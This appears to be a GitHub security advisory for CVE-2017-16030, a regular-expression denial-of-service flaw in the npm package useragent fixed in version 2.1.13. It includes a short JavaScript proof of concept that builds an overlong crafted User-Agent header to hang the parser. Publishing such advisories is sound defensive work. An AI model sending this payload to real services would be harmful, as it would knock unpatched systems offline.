GitHub Advisoryadvisory · npm
GHSA-pjmx-9xr3-82qr ReDoS via long UserAgent header in useragent
HIGH
Official page ↗
- Aliases
- CVE-2017-16030
- Ecosystem
- npm
- Packages
- useragent
- Severity
- High
- Weaknesses
- CWE-400
- Reviewed
- 2020-06-16
Affected packages
• npm useragent: < 2.1.13 → fixed in 2.1.13
Description
Affected versions of `useragent` are vulnerable to regular expression denial of service when an arbitrarily long `User-Agent` header is parsed.
Proof of Concept
```js
var useragent = require('useragent');
var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));
```
Recommendation
Update to version 2.1.13 or later.
Related
Alias · CVE (1)
- CVE-2017-16030 Useragent is used to parse useragent headers. vulnerability
Weakness · CWE (1)
- CWE-400 Uncontrolled Resource Consumption weakness